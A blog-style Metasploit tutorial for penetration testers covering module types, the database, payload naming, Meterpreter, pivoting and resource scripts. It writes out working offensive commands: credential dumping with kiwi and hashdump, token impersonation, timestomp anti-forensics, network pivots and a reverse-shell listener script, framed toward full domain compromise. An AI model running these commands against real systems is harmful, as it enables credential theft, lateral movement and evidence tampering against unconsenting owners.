Greetings, fellow hackers! As professional pen testers and red teamers, we always seek tools to exploit vulnerabilities and improve our skills. Today, we will dive deep into the Metasploit Framework (MSF), an open-source penetration testing tool that has earned its stripes as one of our arsenal’s most influential and versatile weapons.

While some improved their OpSec by moving to Covenant or Cobalt Strike, Metasploit remains the industry standard for specific tasks: vulnerability validation, complex pivoting, and rapid prototyping.

In this comprehensive guide, we’ll navigate the architecture of the framework, decode the secrets of payload generation, and weaponize post-exploitation modules to own the domain.

1. History of the Metasploit Framework

Metasploit was created in 2003 by HD Moore as a portable network tool using Perl. By 2007, it was completely rewritten in Ruby, a decision that defined its future extensibility. The framework introduced a standardized API for exploits, payloads, and encoders, allowing the security community to contribute modules en masse.

In 2009, Rapid7 acquired Metasploit, adding significant resources to its development. Today, it ships with over 2,000 exploits and 600 payloads, making it the largest public database of weaponized code.

2. Metasploit Architecture: The Modular Design

The strength of Metasploit lies in its modular architecture. Everything in MSF is a module, categorized by its function. Understanding this hierarchy allows you to find what you need without searching google.

  • Exploit Modules (exploit/): Code designed to exploit a specific vulnerability (e.g., eternalblue, apache_struts).
  • Auxiliary Modules (auxiliary/): Tools for reconnaissance, scanning, and fuzzing that do not necessarily pop a shell (e.g., smb_version, portscan).
  • Post-Exploitation Modules (post/): Scripts run after a session is established (e.g., gather/hashdump, multi/recon/local_exploit_suggester).
  • Payload Modules (payload/): The code that runs on the target after exploitation.
    • Singles: Self-contained (e.g., shell_bind_tcp).
    • Stagers: Tiny code to download the rest (e.g., reverse_tcp).
    • Stages: The big payload downloaded by the stager (e.g., meterpreter).
  • Encoders (encoder/): Used to obfuscate the payload to bypass Bad Characters (e.g., null bytes), NOT necessarily AV.
  • NOPs (nop/): No-Operation generators for buffer alignment.

3. The Engine Room: Metasploit Database (msfdb)

Many new users run msfconsole without initializing the database. This is a critical mistake. The database (PostgreSQL backend) allows you to track hosts, services, and credentials across sessions.

Setting up the DB

1
2
3
4
5
6

# Start the database service
sudo systemctl start postgresql
sudo msfdb init

# Launch
msfconsole

Essential Workflows

  1. Workspaces: Keep client data separate.
    1
2

    workspace -a Client_A
workspace Client_A
  2. Importing Scans:
    1
2
3

    db_nmap -A -p- 10.10.10.5
# or
db_import scan_results.xml
  3. Viewing Data:
    1
2
3
4

    hosts -c address,os_name
services -p 445 --up
creds
loot

4. Payloads: Staged vs. Non-Staged (The Naming Convention)

Understanding the naming convention is critical for OpSec and stability.

  • Staged (/): e.g., windows/x64/meterpreter/reverse_tcp.
    • Mechanism: Sends a tiny “stager” shellcode. Stager connects back, downloads the large Meterpreter DLL (Reflective DLL Injection).
    • Pros: Fits in small buffer overflows.
    • Cons: Network traffic is noisy (requires second stage download). Often caught by IPS.
  • Non-Staged (_): e.g., windows/x64/meterpreter_reverse_tcp.
    • Mechanism: The entire Meterpreter payload is sent in the initial exploit.
    • Pros: Stealthier networking (one connection). More stable if the connection is brittle.
    • Cons: Much larger file size/payload buffer.

5. The Power of Meterpreter

Meterpreter is the jewel of Metasploit. It is an advanced, dynamically extensible payload that uses in-memory DLL injection. It never touches the disk.

Essential Extensions

  1. stdapi: Loaded by default. File system, networking, webcam, process manipulation.
  2. kiwi: The Metasploit implementation of Mimikatz.
    1
2

    load kiwi
creds_all  # Dumps SSP, Wdigest, Kerberos, etc.
  3. incognito: Token manipulation.
    1
2
3

    load incognito
list_tokens -u
impersonate_token "DOMAIN\\Admin"
  4. priv: Privilege escalation helpers (getsystem).

Essential Commands

  • migrate <pid>: Move out of the exploited process (which might crash) into a stable one like explorer.exe or spoolsv.exe.
  • hashdump: Dump the local SAM database.
  • timestomp: Manipulate file timestamps (MACE) for anti-forensics.

6. Advanced Pivoting and Routing

Once you have a session on a compromised perimeter box, you need to reach the internal network.

The Autoroute (Layer 3 pivoting)

1
2

# In msfconsole
route add 10.10.20.0 255.255.255.0 1  # Route traffic for 10.10.20.x through Session 1

Now, any Metasploit module (like portscan or ms17_010) targeted at 10.10.20.x will automatically be tunneled through the Meterpreter session.

Port Forwarding (Layer 4 pivoting)

If you need to use external tools (like rdesktop or firefox) against an internal port:

1
2

# In Meterpreter
portfwd add -l 3389 -p 3389 -r 10.10.20.5

Now, connecting to localhost:3389 on your Linux box connects to the internal target.

SOCKS Proxy

For ultimate flexibility:

1
2
3

use auxiliary/server/socks_proxy
set SRVPORT 1080
run -j

Configure proxychains to use port 1080, and you can run Nmap/Impacket through your beacon.

7. Automation with Resource Scripts (.rc)

Professional Red Teamers don’t type use exploit... set payload... every time. We use Resource Scripts.

Example listener.rc:

1
2
3
4
5
6
7

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 443
set ExitOnSession false
set Autounscript migrate -n explorer.exe
exploit -j

Run it:

1

msfconsole -r listener.rc

This sets up a persistent listener that auto-migrates into a stable process every time a shell lands.

Conclusion

Mastering Metasploit is about moving from “script kiddie” usage to sophisticated infrastructure management. By leveraging the database, understanding payload internals, automating your listeners, and mastering pivoting, you transform a single shell into a gateway for total domain compromise.

Always remember: exploit modules are loud. Post-exploitation is where the real art happens.

Happy hacking!

References